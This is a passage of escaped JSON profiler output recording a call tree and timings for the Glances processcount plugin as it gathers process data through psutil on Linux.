\"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.057623,\"attributes\": {\"cProcesscountPlugin\": 0.05762333700113231, \"l85\": 0.05762333700113231},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.057623,\"attributes\": {\"cGlancesProcesses\": 0.05762333700113231, \"l617\": 0.051412991000688635, \"l624\": 0.001998942003410775, \"l653\": 0.0024026659957598895, \"l659\": 0.0018087380012730137},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.051413,\"attributes\": {\"cGlancesProcesses\": 0.051412991000688635, \"l478\": 0.043412908002210315, \"l493\": 0.00800008299847832},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.043413,\"attributes\": {\"l1541\": 0.0016778380013420247, \"l1558\": 0.04173507000086829},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.001678,\"attributes\": {\"l1485\": 0.0016778380013420247},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.001678,\"attributes\": {\"l1526\": 0.0016778380013420247},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.001678,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001678,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.041735,\"attributes\": {\"cProcess\": 0.04173507000086829, \"l572\": 0.00373684499936644, \"l579\": 0.03799822500150185},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001737,\"attributes\": {},\"children\": []},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019970240027760155, \"l382\": 0.0019970240027760155},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000093001697678, \"l812\": 0.002000093001697678},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000093001697678, \"l1593\": 0.002000093001697678},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000093001697678, \"l2268\": 0.002000093001697678},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000017004727852, \"l836\": 0.004000017004727852},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004379985039122, \"l1593\": 0.0020004379985039122},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004379985039122, \"l1796\": 0.0020004379985039122},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.0020004379985039122},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.00399951399595011, \"l680\": 0.00399951399595011},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.00399951399595011, \"l1593\": 0.00399951399595011},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.00399951399595011, \"l1740\": 0.00399951399595011},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.00399951399595011, \"l1593\": 0.00399951399595011},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.00399951399595011, \"l382\": 0.00399951399595011},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.00399951399595011, \"l1683\": 0.0020009639993077144, \"l1689\": 0.001998549996642396},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002001,\"attributes\": {\"l730\": 0.0020009639993077144},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002001,\"attributes\": {\"l719\": 0.0020009639993077144},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"bytes.split\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020022770040668547, \"l939\": 0.0020022770040668547},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020022770040668547, \"l1593\": 0.0020022770040668547},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020022770040668547, \"l2052\": 0.0020022770040668547},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020022770040668547, \"l1593\": 0.0020022770040668547},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020022770040668547, \"l382\": 0.0020022770040668547},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020022770040668547, \"l1719\": 0.0020022770040668547},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972139998571947, \"l812\": 0.0019972139998571947},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002010,\"attributes\": {\"cProcess\": 0.0020103319984627888, \"l939\": 0.0020103319984627888},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002010,\"attributes\": {\"cProcess\": 0.0020103319984627888, \"l1593\": 0.0020103319984627888},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002010,\"attributes\": {\"cProcess\": 0.0020103319984627888, \"l2052\": 0.0020103319984627888},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002010,\"attributes\": {\"cProcess\": 0.0020103319984627888, \"l1593\": 0.0020103319984627888},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002010,\"attributes\": {\"cProcess\": 0.0020103319984627888, \"l382\": 0.0020103319984627888},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002010,\"attributes\": {\"cProcess\": 0.0020103319984627888, \"l1718\": 0.0020103319984627888},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002010,\"attributes\": {\"l682\": 0.0020103319984627888},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002010,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002010,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.0019949359993916005, \"l382\": 0.0019949359993916005},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.0019949359993916005, \"l1138\": 0.0019949359993916005},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.0019949359993916005, \"l1593\": 0.0019949359993916005},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.0019949359993916005, \"l1879\": 0.0019949359993916005},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001879\",\"time\": 0.001995,\"attributes\": {\"l1880\": 0.0019949359993916005},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019976109979324974, \"l836\": 0.0019976109979324974},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019976109979324974, \"l1593\": 0.0019976109979324974},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019976109979324974, \"l1812\": 0.0019976109979324974},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002411005378235, \"l939\": 0.002002411005378235},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002411005378235, \"l1593\": 0.002002411005378235},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002411005378235, \"l2052\": 0.002002411005378235},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002411005378235, \"l1593\": 0.002002411005378235},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002411005378235, \"l382\": 0.002002411005378235},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002411005378235, \"l1719\": 0.002002411005378235},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004001248998974916, \"l680\": 0.004001248998974916},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004001248998974916, \"l1593\": 0.004001248998974916},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004001248998974916, \"l1740\": 0.004001248998974916},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004001248998974916, \"l1593\": 0.004001248998974916},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004001248998974916, \"l382\": 0.004001248998974916},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004001248998974916, \"l1683\": 0.004001248998974916},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.004001,\"attributes\": {\"l730\": 0.004001248998974916},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.004001,\"attributes\": {\"l719\": 0.0019968049964518286, \"l718\": 0.002004444002523087},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]},{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972689988208003, \"l1064\": 0.0019972689988208003},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.001997,\"attributes\": {\"l1682\": 0.0019972689988208003},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.001997,\"attributes\": {\"l538\": 0.0019972689988208003},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999739961349405, \"l680\": 0.0019999739961349405},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999739961349405, \"l1593\": 0.0019999739961349405},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999739961349405, \"l1740\": 0.0019999739961349405},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999739961349405, \"l1593\": 0.0019999739961349405},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999739961349405, \"l382\": 0.0019999739961349405},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999739961349405, \"l1683\": 0.0019999739961349405},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.0019999739961349405},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l718\": 0.0019999739961349405},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.0019999739961349405},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019980630022473633, \"l382\": 0.0019980630022473633},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019980630022473633, \"l1138\": 0.0019980630022473633},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019980630022473633, \"l1593\": 0.0019980630022473633},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019980630022473633, \"l1878\": 0.0019980630022473633},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001999,\"attributes\": {\"c_GeneratorContextManager\": 0.00199940700258594, \"l148\": 0.00199940700258594},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199940700258594, \"l543\": 0.00199940700258594},\"children\": [{\"identifier\": \"oneshot_exit\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001732\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199940700258594, \"l1734\": 0.00199940700258594},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020000459990114905, \"l812\": 0.0020000459990114905},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020000459990114905, \"l1593\": 0.0020000459990114905},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020000459990114905, \"l2268\": 0.0020000459990114905},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00800008299847832, \"l639\": 0.00800008299847832},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00800008299847832, \"l314\": 0.00800008299847832},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00800008299847832, \"l347\": 0.00800008299847832},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00800008299847832, \"l394\": 0.00800008299847832},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00800008299847832, \"l1593\": 0.00800008299847832},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00800008299847832, \"l1857\": 0.00800008299847832},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00800008299847832, \"l1593\": 0.00800008299847832},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00800008299847832, \"l375\": 0.00800008299847832},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00800008299847832, \"l1683\": 0.006001280999043956, \"l1689\": 0.001998801999434363},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002001,\"attributes\": {\"l730\": 0.0020006100021419115},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002001,\"attributes\": {\"l719\": 0.0020006100021419115},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"bytes.split\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.004001,\"attributes\": {\"l730\": 0.004000670996902045},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.004001,\"attributes\": {\"l718\": 0.004000670996902045},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.004001,\"attributes\": {\"l682\": 0.004000670996902045},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.004001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update_processcount\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000173\",\"time\": 0.001999,\"attributes\": {\"cGlancesProcesses\": 0.001998942003410775, \"l180\": 0.001998942003410775},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000180\",\"time\": 0.001999,\"attributes\": {\"l180\": 0.001998942003410775},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"remove_non_running_procs\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000676\",\"time\": 0.002403,\"attributes\": {\"cGlancesProcesses\": 0.0024026659957598895, \"l679\": 0.0024026659957598895},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002403,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.001809,\"attributes\": {\"cGlancesProcesses\": 0.0018087380012730137, \"l689\": 0.0018087380012730137},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.001809,\"attributes\": {\"l589\": 0.0018087380012730137},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.001809,\"attributes\": {\"l584\": 0.0018087380012730137},\"children\": 